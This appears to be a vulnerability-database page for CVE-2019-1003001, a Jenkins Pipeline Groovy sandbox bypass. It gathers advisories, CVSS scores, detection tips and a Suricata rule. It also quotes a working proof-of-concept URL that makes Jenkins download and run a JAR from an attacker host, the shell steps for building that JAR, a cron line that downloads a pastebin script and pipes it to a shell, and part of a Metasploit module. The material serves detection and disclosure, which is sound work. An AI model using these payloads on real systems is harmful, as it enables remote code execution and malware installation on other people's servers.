CVE-2019-1003001
published 2019-01-22CVE-2019-1003001: A sandbox bypass vulnerability exists in Pipeline: Groovy Plugin 2.61 and earlier in src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java…
PriorityP189high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
86.22%
99.7th percentile
A sandbox bypass vulnerability exists in Pipeline: Groovy Plugin 2.61 and earlier in src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShellFactory.java that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jenkins | declarative_plugin | — | — |
| jenkins | groovy_plugin | — | — |
| jenkins | pipeline | <= 2.61 | — |
| jenkins | script_security_plugin | — | — |
| jenkins_project | pipeline_groovy_plugin | — | — |
| redhat | openshift_container_platform | — | — |
Detection & IOCsextracted from sources · hover to see the quote
urlhttp://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;↗
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile↗
command*/15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh↗
- →Detect exploitation attempts by monitoring HTTP GET requests to the Jenkins endpoint /descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile with a 'value' parameter containing @Grab, @GrabResolver, or @GrabConfig annotations — these are the AST transformation vectors used to achieve sandbox bypass. ↗
- →The Metasploit module uses the ACL bypass path /securityRealm/user/admin combined with /descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile. Monitor for requests traversing this combined path pattern as an indicator of active exploitation. ↗
- →The exploit delivers a malicious JAR with a META-INF/services/org.codehaus.groovy.plugins.Runners file. Inspect JAR files served over HTTP for this service-loader entry as a payload indicator. ↗
- →The Jenkins version header X-Jenkins is used by the exploit to fingerprint vulnerable instances (<=2.137). Monitor for automated scanning of this header value in conjunction with the exploit endpoint. ↗
- →The sandbox bypass is triggered by AST transforming annotations such as @Grab applied to pipeline scripts. Alert on pipeline script submissions containing @Grab, @GrabResolver, or @GrabConfig annotations in Jenkins logs. ↗
- →Post-exploitation: look for processes named 'kerberods' or 'khugepageds' on Linux hosts, and for .so files dropped under /usr/local/lib/ with random names, as indicators of the follow-on coinminer/rootkit payload delivered via CVE-2019-1003001 exploitation. ↗
- ·The exploit requires the attacker to host a malicious JAR file on an HTTP (not HTTPS) server, because Jenkins/Groovy/Ivy fetches the @Grab dependency over HTTP unconditionally. The Metasploit module explicitly disables SSL for the payload-serving listener. ↗
- ·The ACL bypass component (CVE-2019-1003001 chained with the routing gadget) uses a fixed username 'admin' in the path /securityRealm/user/admin — randomizing the username is intentionally avoided per CVE-2018-1000408 considerations. ↗
- ·The vulnerability affects Pipeline: Groovy Plugin up to and including version 2.61 and Script Security Plugin up to and including 1.49. Both the pipeline validation REST APIs and actual script/pipeline execution are affected attack surfaces. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
jenkins-plugin-workflow-cps: Sandbox Bypass in Pipeline: Groovy Plugin
vendor_redhat·2019-01-08·CVSS 8.8
CVE-2019-1003001 [HIGH] CWE-96 jenkins-plugin-workflow-cps: Sandbox Bypass in Pipeline: Groovy Plugin
jenkins-plugin-workflow-cps: Sandbox Bypass in Pipeline: Groovy Plugin
A sandbox bypass vulnerability exists in Pipeline: Groovy Plugin 2.61 and earlier in src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShellFactory.java that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.
A flaw was found in Jenkins Pipeline. In the Declarative plugin, the script sandbox protection could be circumvented during the script compilation phase by applying AST. Both the pipeline validation REST APIs and the actual script/pipeline execution are affected. This allows users with Overall/Read permissions, or those
Jenkins
Jenkins Security Advisory 2019-01-08
vendor_jenkins·2019-01-08·CVSS 8.8
CVE-2019-1003000 [HIGH] Jenkins Security Advisory 2019-01-08
Title: Jenkins Security Advisory 2019-01-08
Jenkins Security Advisory 2019-01-08
Jenkins Security Home
For Administrators
Overview
Terminology
Vulnerabilities and Scoring
Security Advisories
Security Issues
Advisory Schedule
Vulnerabilities in Plugins
How We Fix Security Issues
For Reporters
Reporting Vulnerabilities
Jenkins CNA
For Maintainers
Overview
Vulnerabilities in Plugins
Jenkins Security Team
About
Contributions
This advisory announces vulnerabilities in the following Jenkins deliverables:
Pipeline: Declarative
Plugin
Pipeline: Groovy
Plugin
Script Security
Plugin
Descriptions
Sandbox Bypass in Script Security and Pipeline Plugins
SECURITY-1266
/
CVE-2019-1003000 (
GHSA
Jenkins Groovy Plugin sandbox bypass vulnerability
ghsa·2022-05-13
CVE-2019-1003001 [HIGH] Jenkins Groovy Plugin sandbox bypass vulnerability
Jenkins Groovy Plugin sandbox bypass vulnerability
Jenkins Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as `@Grab` to source code elements.
Both the pipeline validation REST APIs and actual script/pipeline execution are affected.
This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.
All known unsafe AST transformations in Groovy are now prohibited in sandboxed scripts.
OSV
Jenkins Groovy Plugin sandbox bypass vulnerability
osv·2022-05-13
CVE-2019-1003001 [HIGH] Jenkins Groovy Plugin sandbox bypass vulnerability
Jenkins Groovy Plugin sandbox bypass vulnerability
Jenkins Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as `@Grab` to source code elements.
Both the pipeline validation REST APIs and actual script/pipeline execution are affected.
This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins controller.
All known unsafe AST transformations in Groovy are now prohibited in sandboxed scripts.
VulnCheck
Pipeline: Groovy Plugin 2.61 and earlier Sandbox Bypass
vulncheck·2019·CVSS 8.8
CVE-2019-1003001 [HIGH] Pipeline: Groovy Plugin 2.61 and earlier Sandbox Bypass
Pipeline: Groovy Plugin 2.61 and earlier Sandbox Bypass
A sandbox bypass vulnerability exists in Pipeline: Groovy Plugin 2.61 and earlier in src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShellFactory.java that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.
Affected: Jenkins pipeline\
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://veriti.ai/blog/vulnerable-villain-when-hackers-get-hacked/
Suricata
ET EXPLOIT Jenkins Plugin Script RCE Exploit Attempt (CVE-2019-1003001)
suricata·2021-07-28·CVSS 8.8
CVE-2019-1003001 [HIGH] ET EXPLOIT Jenkins Plugin Script RCE Exploit Attempt (CVE-2019-1003001)
ET EXPLOIT Jenkins Plugin Script RCE Exploit Attempt (CVE-2019-1003001)
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Jenkins Plugin Script RCE Exploit Attempt (CVE-2019-1003001)"; flow:established,to_server; http.uri; content:"CpsFlowDefinition"; nocase; content:"checkScriptCompile"; nocase; content:"GrabResolver"; nocase; content:"GrabConfig"; nocase; content:"Grab("; nocase; reference:url,0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html; reference:url,www.exploit-db.com/exploits/46427; reference:cve,2019-1003001; classtype:attempted-admin; sid:2033600; rev:1; metadata:attack_target Server, created_at 2021_07_28, cve CVE_2019_1003001, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updat
Exploit-DB
Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
exploitdb·2019-03-19
CVE-2019-1003002 Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
The ACL bypass gadget is specific to Jenkins [
'Orange Tsai', # Discovery and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
['EDB',
Exploit-DB
Jenkins Plugin Script Security < 1.50/Declarative < 1.3.4.1/Groovy < 2.61.1 - Remote Code Execution (PoC)
exploitdb·2019-02-19
CVE-2019-1003002 Jenkins Plugin Script Security < 1.50/Declarative < 1.3.4.1/Groovy < 2.61.1 - Remote Code Execution (PoC)
Jenkins Plugin Script Security META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...
PoC:
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
Metasploit
Jenkins ACL Bypass and Metaprogramming RCE
metasploit
Jenkins ACL Bypass and Metaprogramming RCE
Jenkins ACL Bypass and Metaprogramming RCE
This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. When the "Java Dropper" target is selected, the original entry point based on classLoader.parseClass is used, which requires the use of Groovy metaprogramming to achieve RCE. When the "Unix In-Memory" target is selected, a newer, higher-level, and more universal entry point based on GroovyShell.parse is used. This permits the use of in-memory arbitrary command execution. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
Trendmicro
CVE-2019-3396: Exploiting the Confluence Vulnerability
blogs_trendmicro·2019-05-07·CVSS 9.8
CVE-2019-3396 [CRITICAL] CVE-2019-3396: Exploiting the Confluence Vulnerability
Cloud
# CVE-2019-3396: Exploiting the Confluence Vulnerability
We discovered the Confluence vulnerability CVE-2019-3396 being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities.
By: Augusto Remillano II, Robert Malagad
2019/05/07
Read time: ( words)
Save to Folio
In March 2019, Atlassian published an advisory covering two critical vulnerabilities involving Confluence, a widely used collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability CVE-2019-3396, being exploited by threat actors to perform malicious attacks. Security provider Alert Logic also discovered the vulnerability being exploited to drop the Gandcrab ransomware.
It seems that these incidents are
Trendmicro
CVE-2019-3396: Exploiting the Confluence Vulnerability
blogs_trendmicro·2019-05-07·CVSS 9.8
CVE-2019-3396 [CRITICAL] CVE-2019-3396: Exploiting the Confluence Vulnerability
Cloud
# CVE-2019-3396: Exploiting the Confluence Vulnerability
We discovered the Confluence vulnerability CVE-2019-3396 being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities.
By: Augusto Remillano II, Robert Malagad
May 07, 2019
Read time: ( words)
Save to Folio
In March 2019, Atlassian published an advisory covering two critical vulnerabilities involving Confluence, a widely used collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability CVE-2019-3396, being exploited by threat actors to perform malicious attacks. Security provider Alert Logic also discovered the vulnerability being exploited to drop the Gandcrab ransomware.
It seems that these incidents ar
Bugzilla
CVE-2019-1003001 jenkins-plugin-workflow-cps: Sandbox Bypass in Pipeline: Groovy Plugin
bugzilla·2019-01-25·CVSS 8.8
CVE-2019-1003001 [HIGH] CVE-2019-1003001 jenkins-plugin-workflow-cps: Sandbox Bypass in Pipeline: Groovy Plugin
CVE-2019-1003001 jenkins-plugin-workflow-cps: Sandbox Bypass in Pipeline: Groovy Plugin
A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50. Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as @Grab to source code elements. Both the pipeline validation REST APIs and actual script/pipeline execution are affected. This allowed users with Overall/Read permission, or able to control Jenkinsfile or sandboxed Pipeline shared library contents in SCM, to bypass the sandbox protection and execute arbitrary code on the Jenkins master.
References:
https://jenkins.io/security/advisory/2019-01-08/
U
http://packetstormsecurity.com/files/152132/Jenkins-ACL-Bypass-Metaprogramming-Remote-Code-Execution.htmlhttp://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramminghttps://access.redhat.com/errata/RHBA-2019:0326https://access.redhat.com/errata/RHBA-2019:0327https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266https://www.exploit-db.com/exploits/46572/http://packetstormsecurity.com/files/152132/Jenkins-ACL-Bypass-Metaprogramming-Remote-Code-Execution.htmlhttp://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramminghttps://access.redhat.com/errata/RHBA-2019:0326https://access.redhat.com/errata/RHBA-2019:0327https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266https://www.exploit-db.com/exploits/46572/
2019-01-22
Published
Exploited in the wild